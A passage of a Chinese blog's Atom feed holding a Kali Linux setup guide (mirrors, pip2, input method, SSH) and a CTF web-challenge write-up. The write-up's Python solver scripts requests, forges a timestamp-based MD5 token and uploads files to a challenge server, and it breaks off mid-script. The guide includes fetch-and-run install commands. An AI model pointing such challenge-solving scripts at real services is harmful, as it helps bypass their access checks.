<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>ziworld</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <icon>https://blog.ziworld.top/assect/images/192x192.png</icon>
  <id>https://blog.ziworld.top/</id>
  <link href="https://blog.ziworld.top/" rel="alternate"/>
  <link href="https://blog.ziworld.top/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, ziworld</rights>
  <subtitle>Zi的世界</subtitle>
  <title>Ziworld</title>
  <updated>2026-03-09T09:40:18.961Z</updated>
  <entry>
    <author>
      <name>ziworld</name>
    </author>
    <category term="配置" scheme="https://blog.ziworld.top/categories/%E9%85%8D%E7%BD%AE/"/>
    <category term="kali" scheme="https://blog.ziworld.top/tags/kali/"/>
    <content>
      <![CDATA[<h2 id="kali安装"><a href="#kali安装" class="headerlink" title="kali安装"></a>kali安装</h2><p>地址：<a href="https://pan.baidu.com/s/1yq5LOz3Dr7nbk0PCRmiTog">https://pan.baidu.com/s/1yq5LOz3Dr7nbk0PCRmiTog</a></p><p>将下载后的压缩包解压，里面有一堆文件。然后打开虚拟机</p><p><img src="/2025/08/30/2025-08-30-kali%E9%85%8D%E7%BD%AE/22e7514c5566b7817105e1c678aab31a.png" alt="image-20250828182935299"></p><p><img src="/2025/08/30/2025-08-30-kali%E9%85%8D%E7%BD%AE/05b65aeb016c283a7bb97dbef73ec4cf.png" alt="image-20250828182958457"></p><p><strong>默认账号密码是kali</strong></p><h2 id="配置语言"><a href="#配置语言" class="headerlink" title="配置语言"></a>配置语言</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dpkg-reconfigure locales</span><br></pre></td></tr></table></figure><p><strong>鼠标中间</strong>和<strong>上下键</strong>进行移动，<strong>空格键</strong>选取，<strong>Enter键</strong>确认</p><p><img src="/2025/08/30/2025-08-30-kali%E9%85%8D%E7%BD%AE/08d4bd52e34d91f730f1887d473886d9.png" alt="image-20250828183306841"></p><p><img src="/2025/08/30/2025-08-30-kali%E9%85%8D%E7%BD%AE/45974b5d7b7d2cf626f4fe67db38055e.png" alt="image-20250828183338646"></p><p><strong>汉化成功后选择保存旧的名称</strong></p><p><img src="/2025/08/30/2025-08-30-kali%E9%85%8D%E7%BD%AE/a685ad444a89cf6c89360a677a4d35dd.png" alt="image-20250828183534326"></p><p>汉化后的样式</p><p><img src="/2025/08/30/2025-08-30-kali%E9%85%8D%E7%BD%AE/66eb2bbc34c1058f16594b51d6a60245.png" alt="image-20250828183646484"></p><h2 id="apt换源"><a href="#apt换源" class="headerlink" title="apt换源"></a>apt换源</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vim /etc/apt/sources.list </span><br></pre></td></tr></table></figure><p><img src="/2025/08/30/2025-08-30-kali%E9%85%8D%E7%BD%AE/185e34ad1ab3651190899e94a9bb5152.png" alt="image-20250828184043947"></p><p>按i键，注释掉原先的，换成中科大的源</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib</span><br><span class="line">deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib</span><br></pre></td></tr></table></figure><p>按Esc，然后:wq Enter</p><p>如果这时执行<code>apt update</code>，会显示</p><p><img src="/2025/08/30/2025-08-30-kali%E9%85%8D%E7%BD%AE/6cb50ab72d0ec7bafc8a8af6b50514f9.png" alt="image-20250828185423288"></p><p>需要导入公钥</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wget -q -O - https://archive.kali.org/archive-key.asc | gpg --dearmor | <span class="built_in">sudo</span> <span class="built_in">tee</span> /etc/apt/trusted.gpg.d/kali-archive-keyring.gpg &gt; /dev/null</span><br></pre></td></tr></table></figure><p><img src="/2025/08/30/2025-08-30-kali%E9%85%8D%E7%BD%AE/703f52bc795c37e381d834d959c294e8.png" alt="image-20250828185530749"></p><p>依次执行下面的命令</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">apt-get update          <span class="comment">#更新索引</span></span><br><span class="line">apt-get upgrade         <span class="comment">#更新软件</span></span><br><span class="line">apt-get dist-upgrade    <span class="comment">#升级</span></span><br><span class="line">apt-get clean           <span class="comment">#删除缓存包</span></span><br><span class="line">apt-get autoclean       <span class="comment">#删除未安装的deb包</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="pip2安装"><a href="#pip2安装" class="headerlink" title="pip2安装"></a>pip2安装</h2><blockquote><p>kali上只有pip3，有时旧的项目用的python2需要安装一些模块，就需要pip2</p></blockquote><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 下载 get-pip.py 脚本（Python 2 专用版本）</span></span><br><span class="line">wget https://bootstrap.pypa.io/pip/2.7/get-pip.py</span><br><span class="line"></span><br><span class="line"><span class="comment"># 用 Python 2 运行脚本安装 pip2</span></span><br><span class="line">python2 get-pip.py</span><br><span class="line"></span><br><span class="line"><span class="comment"># 验证安装</span></span><br><span class="line">pip2 --version</span><br></pre></td></tr></table></figure><p><img src="/2025/08/30/2025-08-30-kali%E9%85%8D%E7%BD%AE/b577073c69dd879e37df715b481562cd.png" alt="image-20250828190243561"></p><h2 id="pip换源"><a href="#pip换源" class="headerlink" title="pip换源"></a>pip换源</h2><p>为 pip2 和 pip3 创建通用的配置目录</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">mkdir</span> -p ~/.pip</span><br></pre></td></tr></table></figure><p>创建并编辑 <code>pip.conf</code> 配置文件，这个文件会同时被 <code>pip2</code> 和 <code>pip3</code> 识别（Kali 中两者默认会读取此路径的配置）：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nano ~/.pip/pip.conf</span><br></pre></td></tr></table></figure><p>在文件中添加以下内容（阿里云镜像源配置）：</p><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">[global]</span></span><br><span class="line"><span class="attr">index-url</span> = http://mirrors.aliyun.com/pypi/simple/</span><br><span class="line"><span class="section">[install]</span></span><br><span class="line"><span class="attr">trusted-host</span> = mirrors.aliyun.com</span><br></pre></td></tr></table></figure><p>保存并退出（按 <code>Ctrl+O</code> 保存，<code>Ctrl+X</code> 退出 <code>nano</code> 编辑器）</p><h2 id="安装CopyQ"><a href="#安装CopyQ" class="headerlink" title="安装CopyQ"></a>安装CopyQ</h2><blockquote><p>kali上是没有类似window上win+v显示历史剪贴板的功能。可以安装CopyQ，内有截图和历史剪贴板功能</p></blockquote><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">apt install copyq</span><br></pre></td></tr></table></figure><h3 id="汉化"><a href="#汉化" class="headerlink" title="汉化"></a>汉化</h3><p>右上角</p><p><img src="/2025/08/30/2025-08-30-kali%E9%85%8D%E7%BD%AE/b1e52444f76e3f61f8458fcde4d0fcf7.png" alt="image-20250828202212593"></p><p><img src="/2025/08/30/2025-08-30-kali%E9%85%8D%E7%BD%AE/d98487416858da0ae44676bbe7fe060f.png" alt="image-20250828202248255"></p><h2 id="安装中文输入法"><a href="#安装中文输入法" class="headerlink" title="安装中文输入法"></a>安装中文输入法</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 更新系统</span></span><br><span class="line">apt update &amp;&amp; <span class="built_in">sudo</span> apt upgrade -y</span><br><span class="line"></span><br><span class="line"><span class="comment"># 安装 fcitx 框架及依赖</span></span><br><span class="line">apt install fcitx fcitx-bin fcitx-table -y</span><br></pre></td></tr></table></figure><p>打开<a href="https://shurufa.sogou.com/linux%E4%B8%8B%E8%BD%BD">https://shurufa.sogou.com/linux下载</a></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#切换目录后安装</span></span><br><span class="line">dpkg -i sogoupinyin_4.2.1.145_amd64.deb</span><br><span class="line"></span><br><span class="line"><span class="comment">#重启</span></span><br><span class="line">reboot</span><br></pre></td></tr></table></figure><p><img src="/2025/08/30/2025-08-30-kali%E9%85%8D%E7%BD%AE/6d2a3587510bba83802ef6e17e1f5b55.png" alt="image-20250828205255671"></p><p>重启后右上角会有图标，<strong>Ctrl+空格</strong> 切换语言</p><p><img src="/2025/08/30/2025-08-30-kali%E9%85%8D%E7%BD%AE/590ca3cbe21bf3e4e4ad930e55f0db49.png" alt="image-20250828205931647"></p><h2 id="ssh连接kali"><a href="#ssh连接kali" class="headerlink" title="ssh连接kali"></a>ssh连接kali</h2><blockquote><p>我比较喜欢用tabby</p></blockquote><p>虚拟机上</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 启动SSH服务</span></span><br><span class="line">systemctl start ssh</span><br><span class="line"></span><br><span class="line"><span class="comment"># 设置开机自启</span></span><br><span class="line">systemctl <span class="built_in">enable</span> ssh </span><br><span class="line"></span><br><span class="line"><span class="comment"># 检查服务状态（确认是否正常运行）</span></span><br><span class="line">systemctl status ssh  <span class="comment"># 显示active (running)即为正常</span></span><br></pre></td></tr></table></figure><p>按虚拟机上面那个键，下面会显示ip</p><p><img src="/2025/08/30/2025-08-30-kali%E9%85%8D%E7%BD%AE/4ebc62d6300e3e46fc897e348afb8a2c.png" alt="image-20250828214650795"></p><p>tabby连接（或者cmd上<code>ssh 用户名@服务器IP -p 端口号</code>）</p><p><img src="/2025/08/30/2025-08-30-kali%E9%85%8D%E7%BD%AE/7eb756a0016c34610b7d74f875e099d4.png" alt="image-20250828214901650"></p><p><img src="/2025/08/30/2025-08-30-kali%E9%85%8D%E7%BD%AE/4cbe781a9bbf8da5bdc2492ce0b3a0df.png" alt="image-20250828215031572"></p>]]>
    </content>
    <id>https://blog.ziworld.top/2025/08/30/2025-08-30-kali%E9%85%8D%E7%BD%AE/</id>
    <link href="https://blog.ziworld.top/2025/08/30/2025-08-30-kali%E9%85%8D%E7%BD%AE/"/>
    <published>2025-08-30T12:58:00.000Z</published>
    <summary>
      <![CDATA[<h2 id="kali安装"><a href="#kali安装" class="headerlink" title="kali安装"></a>kali安装</h2><p>地址：<a]]>
    </summary>
    <title>kali配置</title>
    <updated>2026-03-09T09:40:18.961Z</updated>
  </entry>
  <entry>
    <author>
      <name>ziworld</name>
    </author>
    <category term="CTF" scheme="https://blog.ziworld.top/categories/CTF/"/>
    <category term="复现" scheme="https://blog.ziworld.top/tags/%E5%A4%8D%E7%8E%B0/"/>
    <content>
      <![CDATA[<h2 id="web1"><a href="#web1" class="headerlink" title="web1"></a>web1</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"><span class="keyword">import</span> io</span><br><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line"></span><br><span class="line"><span class="comment"># --- 全局配置 ---</span></span><br><span class="line">HOST = <span class="string">&quot;http://challenge.sky233.top:32923&quot;</span> </span><br><span class="line"></span><br><span class="line"><span class="comment"># --- 挑战1: Cookie持久化请求 ---</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">solve_challenge1</span>(<span class="params">session</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;使用同一个会话发送100次请求以获取Flag。&quot;&quot;&quot;</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;--- 开始挑战 1: Cookie持久化请求 ---&quot;</span>)</span><br><span class="line">    url = <span class="string">f&#x27;<span class="subst">&#123;HOST&#125;</span>/api/challenge1&#x27;</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">100</span>):</span><br><span class="line">            response = session.get(url)</span><br><span class="line">            response.raise_for_status()</span><br><span class="line">            <span class="keyword">if</span> (i + <span class="number">1</span>) % <span class="number">10</span> == <span class="number">0</span>:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">f&quot;  已发送 <span class="subst">&#123;i+<span class="number">1</span>&#125;</span>/100 次请求...&quot;</span>)</span><br><span class="line">        </span><br><span class="line">        flag = response.json().get(<span class="string">&#x27;flag&#x27;</span>, <span class="string">&#x27;Flag not found&#x27;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;[+] 挑战 1 成功! Flag: <span class="subst">&#123;flag&#125;</span>\n&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> flag</span><br><span class="line">    <span class="keyword">except</span> requests.RequestException <span class="keyword">as</span> e:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;[-] 挑战 1 失败: <span class="subst">&#123;e&#125;</span>\n&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># --- 挑战2: 时间戳Token验证 ---</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">solve_challenge2</span>(<span class="params">session</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;根据每分钟变化的时间戳生成Token并提交。&quot;&quot;&quot;</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;--- 开始挑战 2: 时间戳Token验证 ---&quot;</span>)</span><br><span class="line">    url = <span class="string">f&#x27;<span class="subst">&#123;HOST&#125;</span>/api/challenge2&#x27;</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        minute_timestamp = <span class="built_in">int</span>(time.time()) // <span class="number">60</span></span><br><span class="line">        token = hashlib.md5(<span class="built_in">str</span>(minute_timestamp).encode(<span class="string">&#x27;utf-8&#x27;</span>)).hexdigest()</span><br><span class="line">        </span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;  使用分钟时间戳 <span class="subst">&#123;minute_timestamp&#125;</span> 生成的 Token: <span class="subst">&#123;token&#125;</span>&quot;</span>)</span><br><span class="line">        </span><br><span class="line">        payload = &#123;<span class="string">&quot;token&quot;</span>: token&#125;</span><br><span class="line">        response = session.post(url, json=payload)</span><br><span class="line">        response.raise_for_status()</span><br><span class="line">        </span><br><span class="line">        flag = response.json().get(<span class="string">&#x27;flag&#x27;</span>, <span class="string">&#x27;Flag not found&#x27;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;[+] 挑战 2 成功! Flag: <span class="subst">&#123;flag&#125;</span>\n&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> flag</span><br><span class="line">    <span class="keyword">except</span> requests.RequestException <span class="keyword">as</span> e:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;[-] 挑战 2 失败: <span class="subst">&#123;e&#125;</span>\n&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># --- 挑战3: 重定向链处理 ---</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">solve_challenge3</span>(<span class="params">session</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;自动跟随JSON响应中的&#x27;next&#x27;参数，直到找到Flag。&quot;&quot;&quot;</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;--- 开始挑战 3: 重定向链处理 ---&quot;</span>)</span><br><span class="line">    base_url = <span class="string">f&quot;<span class="subst">&#123;HOST&#125;</span>/api/challenge3&quot;</span></span><br><span class="line">    next_step = <span class="string">&quot;step1&quot;</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">while</span> next_step:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            params = &#123;<span class="string">&quot;next&quot;</span>: next_step&#125;</span><br><span class="line">            response = session.get(base_url, params=params)</span><br><span class="line">            response.raise_for_status()</span><br><span class="line">            data = response.json()</span><br><span class="line">            </span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;  访问 next=&#x27;<span class="subst">&#123;next_step&#125;</span>&#x27;, 响应: <span class="subst">&#123;data&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> data.get(<span class="string">&#x27;success&#x27;</span>):</span><br><span class="line">                flag = data.get(<span class="string">&#x27;flag&#x27;</span>, <span class="string">&#x27;Flag not found&#x27;</span>)</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">f&quot;[+] 挑战 3 成功! Flag: <span class="subst">&#123;flag&#125;</span>\n&quot;</span>)</span><br><span class="line">                <span class="keyword">return</span> flag</span><br><span class="line">            </span><br><span class="line">            next_step = data.get(<span class="string">&#x27;next&#x27;</span>)</span><br><span class="line">            <span class="keyword">if</span> <span class="keyword">not</span> next_step:</span><br><span class="line">                 <span class="built_in">print</span>(<span class="string">&quot;[-] 响应中未找到 &#x27;next&#x27; 参数，链条中断。\n&quot;</span>)</span><br><span class="line">                 <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">            time.sleep(<span class="number">0.1</span>)</span><br><span class="line"></span><br><span class="line">        <span class="keyword">except</span> requests.RequestException <span class="keyword">as</span> e:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;[-] 挑战 3 请求失败: <span class="subst">&#123;e&#125;</span>\n&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">        <span class="keyword">except</span> ValueError:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;[-] 挑战 3 失败: 无法解析JSON响应。\n&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># --- 挑战4: 文件上传验证 ---</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">solve_challenge4</span>(<span class="params">session</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;创建一个包含特定内容的文件并上传。&quot;&quot;&quot;</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;--- 开始挑战 4: 文件上传验证 ---&quot;</span>)</span><br><span class="line">    url = <span class="string">f&#x27;<span class="subst">&#123;HOST&#125;</span>/api/challenge4&#x27;</span></span><br><span class="line">    content = <span class="string">&quot;CTF_FILE_UPLOAD_SUCCESS&quot;</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">with</span> io.BytesIO(content.encode(<span class="string">&#x27;utf-8&#x27;</span>)) <span class="keyword">as</span> file_in_memory:</span><br><span class="line">            files = &#123;<span class="string">&#x27;file&#x27;</span>: (<span class="string">&#x27;challenge.txt&#x27;</span>, file_in_memory, <span class="string">&#x27;text/plain&#x27;</span>)&#125;</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;  正在上传包含 &#x27;<span class="subst">&#123;content&#125;</span>&#x27; 的文件...&quot;</span>)</span><br><span class="line">            response = session.post(url, files=files)</span><br><span class="line">            response.raise_for_status()</span><br><span class="line">        </span><br><span class="line">        data = response.json()</span><br><span class="line">        <span class="keyword">if</span> data.get(<span class="string">&#x27;success&#x27;</span>):</span><br><span class="line">            flag = data.get(<span class="string">&#x27;flag&#x27;</span>, <span class="string">&#x27;Flag not found&#x27;</span>)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;[+] 挑战 4 成功! Flag: <span class="subst">&#123;flag&#125;</span>\n&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> flag</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;[-] 文件上传失败: <span class="subst">&#123;data.get(<span class="string">&#x27;error&#x27;</span>, <span class="string">&#x27;未知错误&#x27;</span>)&#125;</span>\n&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">            </span><br><span class="line">    <span class="keyword">except</span> requests.RequestException <span class="keyword">as</span> e:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;[-] challenge 4 失败: <span class="subst">&#123;e&#125;</span>\n&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># --- 挑战5: 人工识别验证码 ---</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">solve_challenge5_manual</span>(<span class="params">session</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;下载验证码图片，由用户手动输入识别结果。&quot;&quot;&quot;</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;--- 开始挑战 5: 人工识别验证码 ---&quot;</span>)</span><br><span class="line">    captcha_url = <span class="string">f&#x27;<span class="subst">&#123;HOST&#125;</span>/api/captcha&#x27;</span></span><br><span class="line">    challenge_url = <span class="string">f&#x27;<span class="subst">&#123;HOST&#125;</span>/api/challenge5&#x27;</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="comment"># 1. 获取并展示验证码图片</span></span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;  正在下载验证码图片...&quot;</span>)</span><br><span class="line">        response_img = session.get(captcha_url)</span><br><span class="line">        response_img.raise_for_status()</span><br><span class="line">        </span><br><span class="line">        img = Image.<span class="built_in">open</span>(io.BytesIO(response_img.content))</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;  验证码图片已打开，请查看图片并输入内容。&quot;</span>)</span><br><span class="line">        img.show()  <span class="comment"># 这会调用系统默认的图片查看器打开图片</span></span><br><span class="line">        </span><br><span class="line">        <span class="comment"># 2. 获取用户输入</span></span><br><span class="line">        captcha_text = <span class="built_in">input</span>(<span class="string">&quot;  请输入您看到的验证码: &quot;</span>).strip()</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> captcha_text:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;[-] 未输入任何内容，跳过挑战 5。\n&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">            </span><br><span class="line">        <span class="comment"># 3. 提交识别结果</span></span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;  正在提交您的输入: &#x27;<span class="subst">&#123;captcha_text&#125;</span>&#x27;&quot;</span>)</span><br><span class="line">        payload = &#123;<span class="string">&quot;captcha&quot;</span>: captcha_text&#125;</span><br><span class="line">        response = session.post(challenge_url, json=payload)</span><br><span class="line">        response.raise_for_status()</span><br><span class="line">        </span><br><span class="line">        data = response.json()</span><br><span class="line">        <span class="comment"># 检查服务器返回的成功状态</span></span><br><span class="line">        <span class="keyword">if</span> data.get(<span class="string">&#x27;success&#x27;</span>):</span><br><span class="line">            flag = data.get(<span class="string">&#x27;flag&#x27;</span>, <span class="string">&#x27;Flag not found&#x27;</span>)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;[+] 挑战 5 成功! Flag: <span class="subst">&#123;flag&#125;</span>\n&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> flag</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            error_message = data.get(<span class="string">&#x27;error&#x27;</span>, <span class="string">&#x27;验证失败，但未提供原因。&#x27;</span>)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;[-] 挑战 5 失败: <span class="subst">&#123;error_message&#125;</span>\n&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">        </span><br><span class="line">    <span class="keyword">except</span> requests.RequestException <span class="keyword">as</span> e:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;[-] 挑战 5 失败: <span class="subst">&#123;e&#125;</span>\n&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;[-] 挑战 5 发生未知错误: <span class="subst">&#123;e&#125;</span>\n&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># --- 主执行函数 ---</span></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    <span class="keyword">with</span> requests.Session() <span class="keyword">as</span> s:</span><br><span class="line">        s.headers.update(&#123;</span><br><span class="line">            <span class="string">&#x27;User-Agent&#x27;</span>: <span class="string">&#x27;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36&#x27;</span></span><br><span class="line">        